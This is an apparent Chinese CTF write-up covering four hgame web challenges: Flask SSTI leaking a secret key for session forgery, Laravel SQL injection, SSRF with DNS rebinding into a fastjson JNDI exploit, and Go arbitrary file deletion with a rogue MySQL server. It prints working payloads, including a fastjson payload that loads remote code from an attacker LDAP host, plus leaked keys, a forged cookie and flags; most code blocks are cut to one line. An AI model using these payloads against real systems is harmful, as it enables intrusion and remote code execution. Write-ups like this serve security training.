happy python
这题就是很普遍的session伪造,首先在url后面加49
发现确实可以执行,但是测试一下发现过滤了括号,所以想直接ssti是很难的了
解密一下session
猜测是不是将user_id
改成1
就能以admin的身份登进去,现在就要想办法拿到secret_key
了
尝试了一下,发现url_for
还在,就用url_for
去拿secret_key
,payload如下
1 |
url_for.__globals__['current_app'].config |
然后得到回显
1 |
<Config {'ENV': 'production', 'DEBUG': False, 'TESTING': False, 'PROPAGATE_EXCEPTIONS': None, 'PRESERVE_CONTEXT_ON_EXCEPTION': None, 'SECRET_KEY': '9RxdzNwq7!nOoK3*', 'PERMANENT_SESSION_LIFETIME': datetime.timedelta(31), 'USE_X_SENDFILE': False, 'SERVER_NAME': None, 'APPLICATION_ROOT': '/', 'SESSION_COOKIE_NAME': 'session', 'SESSION_COOKIE_DOMAIN': False, 'SESSION_COOKIE_PATH': None, 'SESSION_COOKIE_HTTPONLY': True, 'SESSION_COOKIE_SECURE': False, 'SESSION_COOKIE_SAMESITE': None, 'SESSION_REFRESH_EACH_REQUEST': True, 'MAX_CONTENT_LENGTH': None, 'SEND_FILE_MAX_AGE_DEFAULT': datetime.timedelta(0, 43200), 'TRAP_BAD_REQUEST_ERRORS': None, 'TRAP_HTTP_EXCEPTIONS': False, 'EXPLAIN_TEMPLATE_LOADING': False, 'PREFERRED_URL_SCHEME': 'http', 'JSON_AS_ASCII': True, 'JSON_SORT_KEYS': True, 'JSONIFY_PRETTYPRINT_REGULAR': False, 'JSONIFY_MIMETYPE': 'application/json', 'TEMPLATES_AUTO_RELOAD': None, 'MAX_COOKIE_SIZE': 4093, 'CSRF_ENABLED': True, 'SQLALCHEMY_DATABASE_URI': 'mysql+pymysql://hgame:[email protected]:3306/hgame', 'SQLALCHEMY_TRACK_MODIFICATIONS': True, 'WTF_CSRF_ENABLED': True, 'WTF_CSRF_CHECK_DEFAULT': True, 'WTF_CSRF_METHODS': {'PUT', 'DELETE', 'POST', 'PATCH'}, 'WTF_CSRF_FIELD_NAME': 'csrf_token', 'WTF_CSRF_HEADERS': ['X-CSRFToken', 'X-CSRF-Token'], 'WTF_CSRF_TIME_LIMIT': 3600, 'WTF_CSRF_SSL_STRICT': True, 'SQLALCHEMY_BINDS': None, 'SQLALCHEMY_NATIVE_UNICODE': None, 'SQLALCHEMY_ECHO': False, 'SQLALCHEMY_RECORD_QUERIES': None, 'SQLALCHEMY_POOL_SIZE': None, 'SQLALCHEMY_POOL_TIMEOUT': None, 'SQLALCHEMY_POOL_RECYCLE': None, 'SQLALCHEMY_MAX_OVERFLOW': None, 'SQLALCHEMY_COMMIT_ON_TEARDOWN': False}> |
拿到secret_key
1 |
'SECRET_KEY': '9RxdzNwq7!nOoK3*' |
接着就是伪造
然后就能拿到session了
1 |
.eJwljztqQzEQAO-i2sXuSlpJvsxjv8QYEnjPrkLubkGa6QZmfsuRZ1xf5f4633Erx8PLvSTRjFoNNakTA_QchoC0fMlmGgtR8kRhI_TRhNb0QJIkWGukkjB5MC9ts4VONOBuFZJy9LU0vfbhlt1osok2ZIXk8A0pt2LXmcfr5xnfuwfFlIMcQEbSVPW05r1ip6W1br9RA-3be19x_k9g-fsAkgo_Vg.D2qpTQ.OJF7PpG3QqUlvvBoSs3wQ1wL2eM |
登录进去以后getflaghgame{Qu_bu_la1_m1ng_z1_14}
happy php
源码放去了githubhttps://github.com/Lou00/laravel
,在源码中看到
在app/Http/Controllers/SessionsController.php
可以看到
1 |
public function store(Request $request) |
可以看到这里有个name的注入点,来个账号测试一下amdin' or '1'='1
,发现确实可以以admin的身份登录进去
1 |
admin' union select password From `users` WHERE `id`='1' LIMIE 0,1;#' |
base64解码一下密码是
1 |
{"iv":"rnVrqfCvfJgnvSTi9z7KLw==","value":"EaR\/4fldOGP1G\/aDK8e8u1Aldmxl+yB3s+kBAaoPods=","mac":"56e2b33ecd2828fe6f417c7e98e9a588c097f083499e0cc7237bc27741e829af"} |
在github的commit看到这段
1 |
APP_NAME=Laravel |
接下来就是要想办法解密密码,我们有的信息
1 |
hey = '9JiyApvLIBndWT69FUBJ8EQz6xXl5vBs7ofRDm9rogQ=' |
然后是jio本
1 |
import base64 |
然后就获得密码9pqfPIer0Ir9UUfR
,接着登录进去就行
happy java
题目一开始提示说flag在hgame_flag目录下
直接访问发现是404,尝试扫一下端口
1 |
nmap -p0-65535 119.28.26.122 |
可以看到,还有一个9876端口开放,扫后台扫到一个mappings
1 |
{ |
访问secret_flag_here
可以看到返回一个只允许本地访问的页面
试了一堆改ip操作都不行,看到还有一个you_will_never_find_this_interface
,访问一下
看到有url,可以确定是要ssrf了,尝试一下url参数加个127.0.0.1,发现会返回eval,这里需要用dns-rebinding去绕过
然后发包去intruder查看结果
发现确实可以绕过他的检测,接下来就是fastjson的反序列化的利用了
exp如下
1 |
public class Exploit { |
在vps上下载安装好marshalsec提供好ldap服务,mvn clean package -DskipTests
编译好,也把Exploit.java编译好,在控制台敲出
1 |
java -cp ./target/marshalsec-0.0.3-SNAPSHOT-all.jar marshalsec.jndi.LDAPRefServer http://your_ip:port/#Exploit |
在一个端口起好http服务用来下载Exploit.java,然后发送下面的payload(要二次urlencode)
1 |
{"@type":"com.sun.rowset.JdbcRowSetImpl","dataSourceName":"ldap://your_ip:1389/Exploit","autoCommit":true} |
然后就能get到shell了
happy go
简单试下网站,有登录注册上传头像和留言板这些功能,同时也泄露了源码
看源码可以看见
admincontroller可以看到有一个删除头像的功能
1 |
func (u *UserDelController) Get() { |
这里可以看到如果修改头像参数,就可以删除任意文件
继续审计源码还可以看到
1 |
func (c *InstallController) Get() { |
可以看到install文件里面会检查有没有app.conf
文件,如果没有就会重新加载
所以攻击思路就是以管理员身份登录,删掉app.conf,然后install,用恶意的mysql服务器读取任意文件
,而伪造管理员身份就要去看主函数了
1 |
func main() { |
贴一篇其他师傅的exp
1 |
# coding:utf-8 |
FROM:Xi4or0uji
- 左青龙
- 微信扫一扫
-
- 右白虎
- 微信扫一扫
-
评论